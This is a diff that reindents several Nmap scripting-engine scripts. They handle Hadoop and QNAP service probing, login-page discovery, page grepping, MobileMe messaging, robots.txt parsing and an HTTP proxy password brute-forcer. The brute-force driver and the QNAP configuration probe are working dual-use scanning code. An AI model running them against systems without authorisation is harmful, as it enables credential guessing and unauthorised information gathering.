||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
local body = response['body']:gsub("%%","%%%%")
|
local body = response['body']:gsub("%%","%%%%")
|
||||||
local stats = {}
|
local stats = {}
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||||
-- Page isn't valid html :(
|
-- Page isn't valid html :(
|
||||||
for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
|
for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
|
||||||
table.insert(stats,i:match(":%s+([^][\n]+)"))
|
table.insert(stats,i:match(":%s+([^][\n]+)"))
|
||||||
end
|
end
|
||||||
if #stats == 5 then
|
if #stats == 5 then
|
||||||
stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1]))
|
stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1]))
|
||||||
stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2]))
|
stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2]))
|
||||||
stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3]))
|
stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3]))
|
||||||
stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4]))
|
stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4]))
|
||||||
stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5]))
|
stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5]))
|
||||||
table.insert(result, ("Start: %s"):format(stats[2]))
|
table.insert(result, ("Start: %s"):format(stats[2]))
|
||||||
end
|
end
|
||||||
if body:match("Version:%s*</td><td>([^][\n]+)") then
|
if body:match("Version:%s*</td><td>([^][\n]+)") then
|
||||||
local version = body:match("Version:%s*</td><td>([^][\n]+)")
|
local version = body:match("Version:%s*</td><td>([^][\n]+)")
|
||||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||||
table.insert(result, ("Version: %s"):format(version))
|
table.insert(result, ("Version: %s"):format(version))
|
||||||
port.version.version = version
|
port.version.version = version
|
||||||
end
|
end
|
||||||
if body:match("Compiled:%s*</td><td>([^][\n]+)") then
|
if body:match("Compiled:%s*</td><td>([^][\n]+)") then
|
||||||
local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
|
local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
|
||||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if body:match("([^][\"]+)\">Logs") then
|
if body:match("([^][\"]+)\">Logs") then
|
||||||
local logs = body:match("([^][\"]+)\">Logs")
|
local logs = body:match("([^][\"]+)\">Logs")
|
||||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||||
table.insert(result, ("Logs: %s"):format(logs))
|
table.insert(result, ("Logs: %s"):format(logs))
|
||||||
end
|
end
|
||||||
if #stats == 5 then
|
if #stats == 5 then
|
||||||
table.insert(result, ("Namenode: %s"):format(stats[1]))
|
table.insert(result, ("Namenode: %s"):format(stats[1]))
|
||||||
table.insert(result, ("Last Checkpoint: %s"):format(stats[3]))
|
table.insert(result, ("Last Checkpoint: %s"):format(stats[3]))
|
||||||
table.insert(result, ("Checkpoint Period: %s"):format(stats[4]))
|
table.insert(result, ("Checkpoint Period: %s"):format(stats[4]))
|
||||||
table.insert(result, ("Checkpoint: Size %s"):format(stats[5]))
|
table.insert(result, ("Checkpoint: Size %s"):format(stats[5]))
|
||||||
end
|
end
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
port.version.name = "hadoop-secondary-namenode"
|
port.version.name = "hadoop-secondary-namenode"
|
||||||
port.version.product = "Apache Hadoop"
|
port.version.product = "Apache Hadoop"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
if stats[1]:match("([^][/]+)") then
|
if stats[1]:match("([^][/]+)") then
|
||||||
local newtarget = stats[1]:match("([^][/]+)")
|
local newtarget = stats[1]:match("([^][/]+)")
|
||||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||||
local status,err = target.add(newtarget)
|
local status,err = target.add(newtarget)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,73 +44,73 @@ categories = {"discovery", "safe"}
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
local function parseAuthentication(resp)
|
local function parseAuthentication(resp)
|
||||||
local www_authenticate = resp.header["www-authenticate"]
|
local www_authenticate = resp.header["www-authenticate"]
|
||||||
if ( not(www_authenticate) ) then
|
if ( not(www_authenticate) ) then
|
||||||
return false, "Server returned no authentication headers."
|
return false, "Server returned no authentication headers."
|
||||||
end
|
end
|
||||||
|
|
||||||
local challenges = http.parse_www_authenticate(www_authenticate)
|
local challenges = http.parse_www_authenticate(www_authenticate)
|
||||||
if ( not(challenges) ) then
|
if ( not(challenges) ) then
|
||||||
return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
|
return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
|
||||||
end
|
end
|
||||||
return true, challenges
|
return true, challenges
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- create a new crawler instance
|
-- create a new crawler instance
|
||||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||||
|
|
||||||
if ( not(crawler) ) then
|
if ( not(crawler) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- create a table entry in the registry
|
-- create a table entry in the registry
|
||||||
nmap.registry.auth_urls = nmap.registry.auth_urls or {}
|
nmap.registry.auth_urls = nmap.registry.auth_urls or {}
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local auth_urls = tab.new(2)
|
local auth_urls = tab.new(2)
|
||||||
tab.addrow(auth_urls, "url", "method")
|
tab.addrow(auth_urls, "url", "method")
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- HTTP-based authentication
|
-- HTTP-based authentication
|
||||||
if ( r.response.status == 401 ) then
|
if ( r.response.status == 401 ) then
|
||||||
local status, auth = parseAuthentication(r.response)
|
local status, auth = parseAuthentication(r.response)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local schemes = {}
|
local schemes = {}
|
||||||
for _, item in ipairs(auth) do
|
for _, item in ipairs(auth) do
|
||||||
if ( item.scheme ) then
|
if ( item.scheme ) then
|
||||||
table.insert(schemes, item.scheme)
|
table.insert(schemes, item.scheme)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes)))
|
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes)))
|
||||||
else
|
else
|
||||||
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
|
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
|
||||||
end
|
end
|
||||||
nmap.registry.auth_urls[r.url] = "HTTP"
|
nmap.registry.auth_urls[r.url] = "HTTP"
|
||||||
-- FORM-based authentication
|
-- FORM-based authentication
|
||||||
elseif r.response.body then
|
elseif r.response.body then
|
||||||
-- attempt to detect a password input form field
|
-- attempt to detect a password input form field
|
||||||
if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
|
if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
|
||||||
tab.addrow(auth_urls, r.url, "FORM")
|
tab.addrow(auth_urls, r.url, "FORM")
|
||||||
nmap.registry.auth_urls[r.url] = "FORM"
|
nmap.registry.auth_urls[r.url] = "FORM"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( #auth_urls > 1 ) then
|
if ( #auth_urls > 1 ) then
|
||||||
local result = { tab.dump(auth_urls) }
|
local result = { tab.dump(auth_urls) }
|
||||||
result.name = crawler:getLimitations()
|
result.name = crawler:getLimitations()
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -52,60 +52,60 @@ portrule = shortport.http
|
|||||||
-- Shortens a matching string if it exceeds 60 characters
|
-- Shortens a matching string if it exceeds 60 characters
|
||||||
-- All characters after 60 will be replaced with ...
|
-- All characters after 60 will be replaced with ...
|
||||||
local function shortenMatch(match)
|
local function shortenMatch(match)
|
||||||
if ( #match > 60 ) then
|
if ( #match > 60 ) then
|
||||||
return match:sub(1, 60) .. " ..."
|
return match:sub(1, 60) .. " ..."
|
||||||
else
|
else
|
||||||
return match
|
return match
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- read script specific arguments
|
-- read script specific arguments
|
||||||
local match = stdnse.get_script_args("http-grep.match")
|
local match = stdnse.get_script_args("http-grep.match")
|
||||||
local break_on_match = stdnse.get_script_args("http-grep.breakonmatch")
|
local break_on_match = stdnse.get_script_args("http-grep.breakonmatch")
|
||||||
|
|
||||||
if ( not(match) ) then
|
if ( not(match) ) then
|
||||||
return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set")
|
return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set")
|
||||||
end
|
end
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
-- set timeout to 10 seconds
|
-- set timeout to 10 seconds
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local matches = {}
|
local matches = {}
|
||||||
local body = r.response.body
|
local body = r.response.body
|
||||||
-- try to match the url and body
|
-- try to match the url and body
|
||||||
if body and ( body:match( match ) or tostring(r.url):match(match) ) then
|
if body and ( body:match( match ) or tostring(r.url):match(match) ) then
|
||||||
local count = select(2, body:gsub(match, match))
|
local count = select(2, body:gsub(match, match))
|
||||||
for match in body:gmatch(match) do
|
for match in body:gmatch(match) do
|
||||||
table.insert(matches, "+ " .. shortenMatch(match))
|
table.insert(matches, "+ " .. shortenMatch(match))
|
||||||
end
|
end
|
||||||
|
|
||||||
matches.name = ("(%d) %s"):format(count,tostring(r.url))
|
matches.name = ("(%d) %s"):format(count,tostring(r.url))
|
||||||
table.insert(results, matches)
|
table.insert(results, matches)
|
||||||
|
|
||||||
-- should we continue to search for matches?
|
-- should we continue to search for matches?
|
||||||
if ( break_on_match ) then
|
if ( break_on_match ) then
|
||||||
crawler:stop()
|
crawler:stop()
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.sort(results, function(a,b) return a.name>b.name end)
|
table.sort(results, function(a,b) return a.name>b.name end)
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -55,59 +55,59 @@ prerule = function() return true end
|
|||||||
-- This function decodes the single quote as a start and should really
|
-- This function decodes the single quote as a start and should really
|
||||||
-- be replaced with a proper UTF-8 decoder in the future
|
-- be replaced with a proper UTF-8 decoder in the future
|
||||||
local function decodeString(str)
|
local function decodeString(str)
|
||||||
return str:gsub("\226\128\153", "'")
|
return str:gsub("\226\128\153", "'")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
local function listDevices(mm)
|
local function listDevices(mm)
|
||||||
local status, devices = mm:getDevices()
|
local status, devices = mm:getDevices()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to get devices")
|
return fail("Failed to get devices")
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = tab.new(2)
|
local output = tab.new(2)
|
||||||
tab.addrow(output, "id", "name")
|
tab.addrow(output, "id", "name")
|
||||||
for i=1, #devices do
|
for i=1, #devices do
|
||||||
local name = decodeString(devices[i].name or "")
|
local name = decodeString(devices[i].name or "")
|
||||||
tab.addrow(output, i, name)
|
tab.addrow(output, i, name)
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( 1 < #output ) then
|
if ( 1 < #output ) then
|
||||||
return stdnse.format_output(true, tab.dump(output))
|
return stdnse.format_output(true, tab.dump(output))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
if ( not(arg_username) or not(arg_password) ) then
|
if ( not(arg_username) or not(arg_password) ) then
|
||||||
return fail("No username or password was supplied")
|
return fail("No username or password was supplied")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(arg_deviceindex) and not(arg_listdevices) ) then
|
if ( not(arg_deviceindex) and not(arg_listdevices) ) then
|
||||||
return fail("No device ID was specificed")
|
return fail("No device ID was specificed")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
|
if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
|
||||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||||
return listDevices(mm)
|
return listDevices(mm)
|
||||||
elseif ( not(arg_subject) or not(arg_message) ) then
|
elseif ( not(arg_subject) or not(arg_message) ) then
|
||||||
return fail("Missing subject or message")
|
return fail("Missing subject or message")
|
||||||
else
|
else
|
||||||
local mm = mobileme.Helper:new(arg_username, arg_password)
|
local mm = mobileme.Helper:new(arg_username, arg_password)
|
||||||
local status, devices = mm:getDevices()
|
local status, devices = mm:getDevices()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to get devices")
|
return fail("Failed to get devices")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status and arg_deviceindex <= #devices ) then
|
if ( status and arg_deviceindex <= #devices ) then
|
||||||
local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
|
local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
|
return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
|
||||||
else
|
else
|
||||||
return "\n Failed to send message"
|
return "\n Failed to send message"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -42,74 +42,74 @@ local arg_method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "HEAD"
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
|
|
||||||
-- the http library does not yet support proxy authentication, so let's
|
-- the http library does not yet support proxy authentication, so let's
|
||||||
-- do what's necessary here.
|
-- do what's necessary here.
|
||||||
local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
|
local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
|
||||||
local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
|
local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
|
||||||
|
|
||||||
-- if we didn't get a 407 error, assume the credentials
|
-- if we didn't get a 407 error, assume the credentials
|
||||||
-- were correct. we should probably do some more checks here
|
-- were correct. we should probably do some more checks here
|
||||||
if ( response.status ~= 407 ) then
|
if ( response.status ~= 407 ) then
|
||||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
|
|
||||||
-- checks whether the proxy really needs authentication and that the
|
-- checks whether the proxy really needs authentication and that the
|
||||||
-- authentication mechanism can be handled by our script, currently only
|
-- authentication mechanism can be handled by our script, currently only
|
||||||
-- BASIC authentication is supported.
|
-- BASIC authentication is supported.
|
||||||
local function checkProxy(host, port, url)
|
local function checkProxy(host, port, url)
|
||||||
local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
|
local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
|
||||||
|
|
||||||
if ( response.status ~= 407 ) then
|
if ( response.status ~= 407 ) then
|
||||||
return false, "Proxy server did not require authentication"
|
return false, "Proxy server did not require authentication"
|
||||||
end
|
end
|
||||||
|
|
||||||
local proxy_auth = response.header["proxy-authenticate"]
|
local proxy_auth = response.header["proxy-authenticate"]
|
||||||
if ( not(proxy_auth) ) then
|
if ( not(proxy_auth) ) then
|
||||||
return false, "No proxy authentication header was found"
|
return false, "No proxy authentication header was found"
|
||||||
end
|
end
|
||||||
|
|
||||||
local challenges = http.parse_www_authenticate(proxy_auth)
|
local challenges = http.parse_www_authenticate(proxy_auth)
|
||||||
|
|
||||||
for _, challenge in ipairs(challenges) do
|
for _, challenge in ipairs(challenges) do
|
||||||
if ( "Basic" == challenge.scheme ) then
|
if ( "Basic" == challenge.scheme ) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false, "The authentication scheme wasn't supported"
|
return false, "The authentication scheme wasn't supported"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, err = checkProxy(host, port, arg_url)
|
local status, err = checkProxy(host, port, arg_url)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return ("\n ERROR: %s"):format(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,65 +47,65 @@ portrule = shortport.port_or_service ({443,8080}, "https", "tcp")
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local path = "/cgi-bin/authLogin.cgi"
|
local path = "/cgi-bin/authLogin.cgi"
|
||||||
local config_file = ""
|
local config_file = ""
|
||||||
|
|
||||||
-- Retrieve file
|
-- Retrieve file
|
||||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
local data = http.get(host, port, path)
|
local data = http.get(host, port, path)
|
||||||
|
|
||||||
-- Check if file exists
|
-- Check if file exists
|
||||||
if data and data.status and data.status == 200 and data.body and data.body ~= "" then
|
if data and data.status and data.status == 200 and data.body and data.body ~= "" then
|
||||||
|
|
||||||
-- Check if the config file is valid
|
-- Check if the config file is valid
|
||||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path)
|
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path)
|
||||||
if string.match(data.body, '<QDocRoot version="[^"]+">') then
|
if string.match(data.body, '<QDocRoot version="[^"]+">') then
|
||||||
config_file = data.body
|
config_file = data.body
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path)
|
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Extract system info from config file
|
-- Extract system info from config file
|
||||||
stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path)
|
stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path)
|
||||||
local vars = {
|
local vars = {
|
||||||
|
|
||||||
-- System details --
|
-- System details --
|
||||||
--{"Hostname","hostname"},
|
--{"Hostname","hostname"},
|
||||||
{"Device Model", "internalModelName"},
|
{"Device Model", "internalModelName"},
|
||||||
{"Firmware Version","version"},
|
{"Firmware Version","version"},
|
||||||
{"Firmware Build","build"},
|
{"Firmware Build","build"},
|
||||||
|
|
||||||
-- SSL --
|
-- SSL --
|
||||||
{"Force SSL","forceSSL"},
|
{"Force SSL","forceSSL"},
|
||||||
{"SSL Port","stunnelPort"},
|
{"SSL Port","stunnelPort"},
|
||||||
|
|
||||||
-- Services --
|
-- Services --
|
||||||
{"WebFS Enabled","webFSEnabled"},
|
{"WebFS Enabled","webFSEnabled"},
|
||||||
{"Multimedia Station Enabled","QMultimediaEnabled"},
|
{"Multimedia Station Enabled","QMultimediaEnabled"},
|
||||||
{"Multimedia Station V2 Supported","MSV2Supported"},
|
{"Multimedia Station V2 Supported","MSV2Supported"},
|
||||||
{"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
|
{"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
|
||||||
{"Download Station Enabled","QDownloadEnabled"},
|
{"Download Station Enabled","QDownloadEnabled"},
|
||||||
{"Network Video Recorder Enabled","NVREnabled"},
|
{"Network Video Recorder Enabled","NVREnabled"},
|
||||||
{"Web File Manager Enabled","WFM2"},
|
{"Web File Manager Enabled","WFM2"},
|
||||||
{"QWeb Server Enabled","QWebEnabled"},
|
{"QWeb Server Enabled","QWebEnabled"},
|
||||||
{"QWeb Server Port","QWebPort"},
|
{"QWeb Server Port","QWebPort"},
|
||||||
{"Qweb Server SSL Enabled","QWebSSLEnabled"},
|
{"Qweb Server SSL Enabled","QWebSSLEnabled"},
|
||||||
{"Qweb Server SSL Port","QWebSSLPort"},
|
{"Qweb Server SSL Port","QWebSSLPort"},
|
||||||
|
|
||||||
}
|
}
|
||||||
for _, var in ipairs(vars) do
|
for _, var in ipairs(vars) do
|
||||||
local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
|
local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
|
||||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Return results
|
-- Return results
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -33,79 +33,79 @@ local last_len = 0
|
|||||||
|
|
||||||
-- split the output in 50 character length lines
|
-- split the output in 50 character length lines
|
||||||
local function buildOutput(output, w)
|
local function buildOutput(output, w)
|
||||||
local nl
|
local nl
|
||||||
|
|
||||||
if w:len() == 0 then
|
if w:len() == 0 then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- check for duplicates
|
-- check for duplicates
|
||||||
for i,v in ipairs(output) do
|
for i,v in ipairs(output) do
|
||||||
if w == v or w == v:sub(2, v:len()) then
|
if w == v or w == v:sub(2, v:len()) then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- format lines
|
-- format lines
|
||||||
if last_len == 0 or last_len + w:len() <= 50 then
|
if last_len == 0 or last_len + w:len() <= 50 then
|
||||||
last_len = last_len + w:len()
|
last_len = last_len + w:len()
|
||||||
nl = ''
|
nl = ''
|
||||||
else
|
else
|
||||||
last_len = 0
|
last_len = 0
|
||||||
nl = '\n'
|
nl = '\n'
|
||||||
end
|
end
|
||||||
|
|
||||||
output = output .. (nl .. w)
|
output = output .. (nl .. w)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- parse all disallowed entries in body and add them to a strbuf
|
-- parse all disallowed entries in body and add them to a strbuf
|
||||||
local function parse_robots(body, output)
|
local function parse_robots(body, output)
|
||||||
for line in body:gmatch("[^\r\n]+") do
|
for line in body:gmatch("[^\r\n]+") do
|
||||||
for w in line:gmatch('[Dd]isallow:%s*(.*)') do
|
for w in line:gmatch('[Dd]isallow:%s*(.*)') do
|
||||||
w = w:gsub("%s*#.*", "")
|
w = w:gsub("%s*#.*", "")
|
||||||
buildOutput(output, w)
|
buildOutput(output, w)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return #output
|
return #output
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local dis_count, noun
|
local dis_count, noun
|
||||||
local answer = http.get(host, port, "/robots.txt" )
|
local answer = http.get(host, port, "/robots.txt" )
|
||||||
|
|
||||||
if answer.status ~= 200 then
|
if answer.status ~= 200 then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
local v_level = nmap.verbosity() + (nmap.debugging()*2)
|
local v_level = nmap.verbosity() + (nmap.debugging()*2)
|
||||||
local output = strbuf.new()
|
local output = strbuf.new()
|
||||||
local detail = 15
|
local detail = 15
|
||||||
|
|
||||||
dis_count = parse_robots(answer.body, output)
|
dis_count = parse_robots(answer.body, output)
|
||||||
|
|
||||||
if dis_count == 0 then
|
if dis_count == 0 then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- verbose/debug mode, print 50 entries
|
-- verbose/debug mode, print 50 entries
|
